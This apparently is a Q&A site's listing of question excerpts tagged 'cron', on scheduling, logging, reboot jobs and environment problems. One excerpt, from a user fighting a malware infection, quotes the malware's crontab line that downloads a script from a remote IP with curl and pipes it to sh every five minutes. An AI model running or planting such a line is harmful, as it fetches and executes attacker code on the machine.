Questions tagged [cron]

Cron is a job scheduler that allows users to run commands periodically.

Filter by
Sorted by
Tagged with
-1
votes
2answers
60 views

About a Mplayer Cron Job

I'm currently tinkering with a process to play an internet radio stream on a certain schedule everyday. After some research, I came up with this code for Crontab : 00 22 * * * mplayer http://listen....
1
vote
1answer
542 views

Java file is not getting compiled in cron

I run a script file through CRON daily which involves running selenium testcases and sending the report as mail. Here is my script: check.sh #!/bin/sh set -x ./.bashrc export CLASSPATH=/home/test/...
-1
votes
1answer
42 views

job in cron under unix server [closed]

I need to schedule a cronjob under UNIX server, which will fulfill the below requirement. in this i need to login to the server with my username and i have to check the status of my application. i am ...
0
votes
2answers
2k views

How to automatically restart a screen -x program?

Ubuntu 16.04 The program running under screen often crashes and I often have to manually reboot. How to set up auto-restart 3 times a day. ( I mean crontab to shut down it and run it again ) Thanks
1
vote
1answer
548 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
0
votes
1answer
690 views

cron.hourly “exited with return code 1” no output to log file

I'm currently on Linux Ubuntu 14.04 (I think). So I previously had a cron.daily script which was working fine. I decided to use the same script but move it to cron.hourly and now it wont work. /etc/...
-3
votes
1answer
506 views

suspicious entries in /var/log/auth.log

I just had a question regarding the attached part of my /var/log/auth.log file. (Raspberry Pi 2B, running Raspbian Jessy, fully updated / upgraded) First of all I got rid of the root user all ...
0
votes
0answers
79 views

running bash script from cron job not working properly

I have the following script: #!/bin/bash echo "$(date +"%r")" if [ "$FOLDER_ID" != "0" ] then node /sync.js -d $FOLDER_ID -l /Downloads fi I'm using docker container and I have passed the env ...
0
votes
1answer
228 views

shell calling another shell program fails when run by crontab

I have scheduled to run the run.sh program like this: 16 09 07 * * root /opt/db_maintain/run.sh > /opt/db_maintain/temp-log and here is the run.sh: #/bin/bash #********* Saman ********* TM=$(...
1
vote
2answers
54 views

Finding a rogue script changing filenames?

I've got a server that is used as an SFTP endpoint and a script living somewhere else that periodically uploads to the server. At a particular time every day all the files in the upload folder get ...
1
vote
2answers
2k views

@reboot jobs don't work

I have been trying to make my fedora pc do a little script at reboot but i can't get it to work. My script works perfectly, for example if it's 02:10 and inside crontab -e I write 11 02 * * * /path/to/...
27
votes
2answers
56k views

Cron log on debian systems

On Redhat systems cron logs into /var/log/cron file. What is the equivalent of that file on Debian systems?
0
votes
0answers
19 views

failed rsnapshot of mapped network directory when scheduled

I have a problem when running rsnapshot for backing up a network mapped drive directory to my local client via cron (and only via a scheduled job). If I run rsnapshot in a CYGWIN terminal manually I ...
0
votes
1answer
37 views

How to get a shell script to execute correctly on reboot

I have a shell script that gets updates from github and then runs the code that it retrieved. it is located at /home/me/Desktop/refreshCode.sh -- refreshCode.sh -- #!/bin/bash cd /home/me/src/...
12
votes
3answers
11k views

Logging ALL stderr output of crontab to file

For example, I can log stderr of one script in this way: * * * * * run_script.sh > /var/log.txt 2>&1 But I want to log stderr of all scripts in my crontab. I can append > /var/log.txt 2&...
0
votes
1answer
82 views

unable to execute git pull if the script is executed on reboot

I have created the following script: #!/bin/bash cd /home/pi/workspace/my-app /usr/bin/git pull python3 main.py & If I run the script from the console, git pull is executed as expected and then ...
0
votes
1answer
101 views

Cron email not sent by sSMTP if job takes > 5 minutes

We have two servers, one of which runs Ubuntu and the other Amazon Linux 2. Both run a series of cron jobs for different clients. The Ubuntu server sends an email (to a group email address) with the ...
1
vote
1answer
151 views

/bin/crontab and /usr/sbin/cron in cygwin - what is the difference?

I have just installed Cygwin on my Win Server 2008. I have a bash backup script (to backup some user files to an external harddrive) that I want to run on the machine, under crontab, every night. I ...
0
votes
2answers
72 views

Syslog Output File Splitting HOURLY at Syslog Server

I have implemented syslog server on CentOS and using below Template to generate output file on daily basis - $template TmplNationalIP_PL, "/var/log/NIPFW/MX480/CGNAT_PL_%$year%.%$month%.%$day%" if ($...
0
votes
0answers
47 views

How do I get CRON to run a script that works in my regular shell, but not in CRON? [duplicate]

I am running Ubuntu 18.04 LTS on an Amazon LightSail instance. When I try to run a Python script as soon as I log, it runs perfectly. I run my script with the full path in with the command: /usr/bin/...
0
votes
1answer
58 views

Verify cron daemon is enabled in Slackware 14.2

How will I know if cron daemon is running in my Slackware installation? I tried the code below and it returns me nothing. It means cron is not in /etc/rc.d folder. ls /etc/rc*.d | grep crond
1
vote
1answer
422 views

cron runs job at unexpected times

I have set up a cron job on my local Ubuntu 12.04 server to log on a remote server through a passwordless ssh connection and run mysqldump on a database on that server once a day. My problem is that, ...
0
votes
3answers
216 views

How to insert a line into a crontab AFTER a key word or string via script

I understand there is a lot of documentation on editing crontabs via script, and I can do this by adding an entry with the following command: line="* * * * * /my/folder/script.sh" ( crontab -l ; echo ...
0
votes
1answer
37 views

how to to put a shell script in crontab in solaris to automate the script [closed]

#!/bin/bash # Checks rather system is running Linux or Solaris function osCheck { os_type=$(uname -i) echo "Checking OS type." case ${os_type} in "x86_64") ...
2
votes
2answers
249 views

Slackware 14.2 - /etc/crontab does not exist

When I go to /var/log/packages/ , I can see there that I have already installed dcron-4.5-x86_64-5, which I believe is the same as crond. Now, I want to ensure that permissions on /etc/crontab are ...
0
votes
3answers
64 views

Unable to get out from crontab command

I am using a fresh installation of Ubuntu 16.04 LTS. Whenever I type: sudo crontab -e OR sudo -u www-data crontab -e The command prints some number and nothing else. And whatever you do to try to ...
0
votes
1answer
57 views

How to schedule cron jobs in linux?

I have script files. .file I need to run only on the first day of the every month. How can I do this with my cron job? 52 07 * * * bash '/home/linux/tanu/cat.sh'
1
vote
1answer
64 views

send cron output to a filename that is derived from the program name

I tested the following with no luck. Any other ideas? #cron test, I would like to generate a stderr logfile name based on $0, but $0 value is "/bin/bash" #why do I want this? Because some program ...
194
votes
3answers
481k views

How can get a list of all scheduled cron jobs on my machine?

My sysadmin has set up a bunch of cron jobs on my machine. I'd like to know exactly what is scheduled for what time. How can I get that list?
5
votes
1answer
13k views

Difference between CRON tab 0/5 and */5?

Is there any difference between creating a CRON tab using 0/5 and */5? For example: 0/5 * * * * vs */5 * * * *
0
votes
1answer
149 views

What is the difference between using crontab -e and /etc/crontab [duplicate]

I wish to run stuff from startup and also trigger reboots using cron. I was using sudo crontab -e and adding commands there. The commands work apart from the reboots. The reboots do not happen all ...
0
votes
1answer
29 views

Execute script at crontab [duplicate]

General info: SO: Ubuntu 18.04 Script folder: /home/Emby/Anime/canon_vids Serie folder: /home/Emby/Anime/Goblin Slayer I normally execute the script at folder like this: ./canon_vids [folder] ...
0
votes
1answer
97 views

Cron is not echoing correct value inside cron but outside works fine

I even included source /home/user/.bashrc; <my scripts> in crontab, still it does not output correct thing. I have a while loop in my script which checks some value from a service called zend. ...
1
vote
0answers
953 views

Show all scheduled cron jobs

How can I list all cron jobs which are scheduled to run? I need to check if my cron jobs are working. I guess they don't even run, because our Magento does not send out any order confirmation emails ...
-1
votes
1answer
23 views

crond php server crash

My CentOS server crashed with 100% memory with swapping, after running fine for a week. Investigating the /var/log/messages shows me the following: https://pastebin.com/CSF8DDzX Basically, alot of the ...
7
votes
6answers
5k views

making an automate reverse SSH connection at boot

I have a PC behind a NAT which makes a reverse SSH connection to my Digitalocean VPC. I utilise this reversed SSH connection from home to login to my office PC (I am authorised to do so) and copy ...
0
votes
1answer
121 views

Remote overwrite crontab file with sudo

I'm trying to build a script that automatically takes a file on the remote server and replace with crontab file, but I get permission denied. My idea is to create a shell function for it: ...
1
vote
1answer
156 views

Cron watchdog for a python script

I have a python script that should be restarted automatically every time it fails. I've trying to use for this purpose cron with the following setting: */2 * * * * pgrep -f handler.py || /usr/bin/...
2
votes
3answers
4k views

Not all shell scripts working with crontab

I have a little VPS I run apache and a Minecraft server on. I don't ever turn it off, but should I restart it for some reason, IPTables blocks most of my ports, including port 80. I've tried so many ...
1
vote
2answers
71 views

How check if a script is running? [duplicate]

I am using a custom script (stream.sh) which starts on boot. However, I want to check after every 5 minutes if the script is running. If it is not running, I want to run it again. How can I configure ...
0
votes
1answer
100 views

Prevent cron sending error messages

I have cron set to run a task for user pi (on my Raspberry Pi running Raspbian Stretch) every 15 minutes. 6,21,36,51 * * * * /usr/bin/mosquitto_sub -h Pi3Plus.local -v -C 1 -t weather >> ...
0
votes
1answer
35 views

Perpetually ping 3 devices from startup [duplicate]

I wish to ping three local devices, every 5 min, without stopping, from a Raspberry Pi running Raspbian OS. When my Pi powers on, I want that to automatically start. I saw an old post about it, ...
46
votes
6answers
50k views

cron ignores variables defined in “.bashrc” and “.bash_profile”

I have defined "SHELL" variable in /etc/crontab file: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit ...
1
vote
2answers
268 views

Crontab not executing script that change background

I have this script to change the background and screensaver from my gnome desktop. Works fine when executing manually, but when I put it in cron it doesn't execute it. The file is executable. I added ...
0
votes
0answers
44 views

Crontab schedule <apt-get upgrade> [duplicate]

I'm using crontab to schedule the apt-get upgrade, the 'ldconfig' and start-stop-daemon' are missing. But when I upgrade in the terminal everything is fine. Any suggestions? this is my crontab script ...
0
votes
2answers
146 views

How to regularly update symbolic link (ln -sf) via crontab

Background The PNG image files I want to use is stored in directories according to date, for example: /NAS-mein/data/201812/ PNG stored within it like /NAS-mein/data/201812/foo/bar/20181231_1500....
0
votes
0answers
32 views

Unix Commands not working from Crontab [duplicate]

I have this command in a bash script called run.sh kill $(lsof -t -i:34445) On a terminal when i run this script using bash run.sh it works. However, i am using crontab to schedule this command. ...
3
votes
1answer
155 views

Unable to initialize environment variables on startup

I have written a python script that runs successfully on raspberry pi if it is run manually from the console. As I want to start the script on reboot, I've written a bash script to change directory, ...
0
votes
1answer
340 views

Why cron doesn't stop sending emails even redirecting to /dev/null

I have some cron tasks, and some of them doesn't stop sending me emails. An example task are: */2 * * * * php app/console mautic:email:fetch > /dev/null 2>&1 (All ...
0
votes
2answers
882 views

Monitor process and restart when not running using crontab

I have a Python / JS server combo that I need to keep running at all times. The Python server has a tendency to crash, as it's running on a server with 1GB of RAM. I've written a script called "...